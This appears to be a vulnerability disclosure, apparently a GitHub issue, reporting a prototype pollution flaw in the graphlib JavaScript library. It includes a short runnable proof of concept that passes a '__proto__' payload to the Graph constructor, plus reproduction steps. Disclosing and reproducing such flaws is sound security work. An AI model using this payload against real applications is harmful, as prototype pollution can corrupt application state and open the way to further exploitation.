Prototype Pollution in graphlib

[dfzysmy2tf-create]

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.
Vulnerability Type
Prototype Pollution
Vulnerability Cause
When creating graphs, nodes, and edges, graphlib deeply merges user-supplied config without filtering proto, causing global prototype pollution.
Vulnerable Code Location
Graph constructor, config-merging functions, and setDefault related methods.
POC (Runnable Directly)
javascript

const graphlib = require('graphlib');
const evil = {"__proto__":{"inject":"success"}};

const g = new graphlib.Graph(evil);
console.log({}.inject); // Output: success

Reproduction Steps
Install: npm i graphlib
Create poc.js and paste code
Run: node poc.js
Output success confirms exploitation